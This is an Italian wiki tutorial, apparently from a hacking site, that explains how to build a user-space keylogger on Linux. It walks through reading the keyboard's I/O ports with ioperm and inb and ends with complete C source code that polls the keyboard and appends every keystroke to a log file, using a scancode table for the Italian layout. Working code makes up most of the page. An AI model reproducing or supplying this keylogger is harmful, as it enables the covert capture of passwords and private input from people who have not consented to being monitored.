Creazione di un keylogger

Da Hacknowledge.

Esempio di keylogger hardware
Esempio di keylogger hardware

Un keylogger è un'entità in grado di intercettare ogni tasto premuto su una tastiera e salvarlo su un file di log arbitrario. Può essere di tipo hardware (in questo caso un piccolo spinotto interposto fra la tastiera e il computer stesso) o di tipo software (in questo caso un'applicazione in user space o un modulo in kernel space che intercetta tutti gli interrupt della tastiera salvando il tasto premuto). In questa sede esamineremo il secondo tipo di keylogger, vedendo come scrivere un keylogger in user space in ambiente Linux.

Indice

[modifica] Come funziona

Quello che deve fare un keylogger è molto semplice: interrogare la tastiera finché non viene premuto un tasto. Quando viene premuto un tasto questo viene letto e salvato su un file di log. Per fare ciò, non possiamo usare le normali funzioni di I/O, che leggono solo i tasti premuti all'interno di una certa applicazione, ma dobbiamo scendere a un livello più basso, facendo per una volta lo stesso lavoro che fa il sistema operativo quando interroga una periferica hardware. La sequenza logica di passi compiuti da un keylogger è la seguente:

  1. Accedi alla periferica. Se è impossibile accedere, esci.
  2. Controlla se la periferica ha dati da inviare.
  3. Se si, leggi il dato che la periferica ha da inviare e salvalo sul file di log.
  4. Torna al punto 2.

[modifica] Accesso alla periferica

Ogni periferica di I/O è mappata ad un indirizzo univoco in memoria, tali indirizzi si possono visualizzare su Linux all'interno del file /proc/ioports. Per vedere dov'è mappata la tastiera faremo così:

root@nightmare:~$ cat /proc/ioports | grep keyboard
0060-006f : keyboard

La tastiera ha due registri in questo intervallo, tramite i quali interagisce con il sistema: il data register, contenente i caratteri effettivamente premuti e generalmente all'indirizzo 0x60, e lo status register, contenente lo status della tastiera e generalmente all'indirizzo 0x64 (data register+4). Possiamo accedere a questi due indirizzi in I/O tramite la primitiva ioperm (già vista nella guida al C):

#define   KB_IO   0x60
#define   KB_STATUS   0x64
 
........
 
if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1)  {
   printf ("Impossibile accedere alla porta di I/O della tastiera\n");
   exit(1);
}

[modifica] Controllo dei dati

Abbiamo accesso ai registri di dati e di status della tastiera. Quello che dobbiamo fare ora è fare un ciclo in cui leggiamo i dati che la tastiera ha da inviarci. Sarebbe comodo gestire il tutto ad interrupt, cioè intercettare la pressione di un tasto semplicemente intercettandone l'interrupt generato, ma ciò non è possibile dallo user space (è prerogativa del kernel space). L'alternativa è fare una gestione in polling, cioè interrogare continuamente, a intervalli di tempo costanti, i registri della tastiera e controllare se ha dati da inviare. Quando viene premuto un tasto il registro di stato viene settato a 20 (0001 0100). Nel nostro ciclo non faremo altro che andare a leggere tramite la primitiva inb il valore contenuto nel registro di status. Nel caso in cui questo sia uguale a 20, andiamo a leggere il valore contenuto nel data register, lo convertiamo in un carattere ASCII e lo scriviamo su file. Ecco il ciclo:

// Tempo di sleep fra un'interrogazione e l'altra = 50 ms
#define   SLEEP_T   50
 
...
 
int code,lastcode;
FILE *fp;
 
...
 
// Ciclo
while(1)  {
   code=0;
 
   // Controllo se la tastiera 'ha parlato'
   if (inb(KB_STATUS)==20)
      // In caso affermativo, leggo il valore salvato nel data register
      code=inb(KB_IO);
 
   // Se il codice è valido
   if (code)  {
      // Se è diverso dall'ultimo tasto in memoria (controllo necessario per evitare 'spam' di tasti)
      if (code!=lastcode)  {
         lastcode=code;
 
         // Se è un carattere riconosciuto
         if (get_key(code))  {
            // Stampo il carattere su file
            fprintf (fp,"%c",get_key(code));
            fflush (fp);
         }
      }
   }
 
   usleep(SLEEP_T);
}

La funzione get_key() ci serve per un motivo molto semplice. Nel data register della tastiera non vengono salvati i codici ASCII dei caratteri, ma i caratteri vengono numerati in base alla loro sequenza fisica sulla tastiera (qwertyu....).

[modifica] Codice completo

Ecco il codice completo del keylogger, con anche la funzione get_key() definita per la conversione di un codice salvato nel data register in carattere ASCII seguendo le convenzioni della tastiera italiana:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
 
#define KB_IO   0x60
#define KB_STATUS       0x64
#define SLEEP_T 50
 
const char get_key(int code)  {
        if ((code>=2) && (code<=10))
                return (char) code+29;
 
        switch (code)  {
                case(11):        return '0'; break;
                case(12):        return '\'';break;
                case(13):        return 'ì'; break;
                case(14):        return '\b';break;
                case(15):        return '\t';break;
                case(16):        return 'q'; break;
                case(17):        return 'w'; break;
                case(18):        return 'e'; break;
                case(19):        return 'r'; break;
                case(20):        return 't'; break;
                case(21):        return 'y'; break;
                case(22):        return 'u'; break;
                case(23):        return 'i'; break;
                case(24):        return 'o'; break;
                case(25):        return 'p'; break;
                case(26):        return 'è'; break;
                case(27):        return '+'; break;
                case(28):        return '\n';break;
                case(30):        return 'a'; break;
                case(31):        return 's'; break;
                case(32):        return 'd'; break;
                case(33):        return 'f'; break;
                case(34):        return 'g'; break;
                case(35):        return 'h'; break;
                case(36):        return 'j'; break;
                case(37):        return 'k'; break;
                case(38):        return 'l'; break;
                case(39):        return 'ò'; break;
                case(40):        return 'à'; break;
                case(42):        return '<'; break;
                case(43):        return 'ù'; break;
                case(44):        return 'z'; break;
                case(45):        return 'x'; break;
                case(46):        return 'c'; break;
                case(47):        return 'v'; break;
                case(48):        return 'b'; break;
                case(49):        return 'n'; break;
                case(50):        return 'm'; break;
                case(51):        return ','; break;
                case(52):        return '.'; break;
                case(53):        return '-'; break;
                case(57):        return ' '; break;
        }
 
        return 0;
}
 
int main (int argc, char **argv)  {
        int lastcode=0,code=0;
        FILE *fp;
 
        if (argc!=2)  {
                printf ("%s <logfile>\n",argv[0]);
                return 1;
        }
 
        if (!(fp=fopen(argv[1],"a")))  {
                printf ("Impossibile scrivere su %s\n",argv[0]);
                return 2;
        }
 
        if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1)  {
                printf ("Impossibile accedere alla porta di I/O della tastiera\n");
                return 3;
        }
 
        while(1)  {
                code=0;
 
                if (inb(KB_STATUS)==20)
                        code=inb(KB_IO);
 
                if (code)  {
                        if (code!=lastcode)  {
                                lastcode=code;
 
                                if (get_key(code))  {
                                        fprintf (fp,"%c",get_key(code));
                                        fflush (fp);
                                }
                        }
                }
 
                usleep(SLEEP_T);
        }
}
Strumenti personali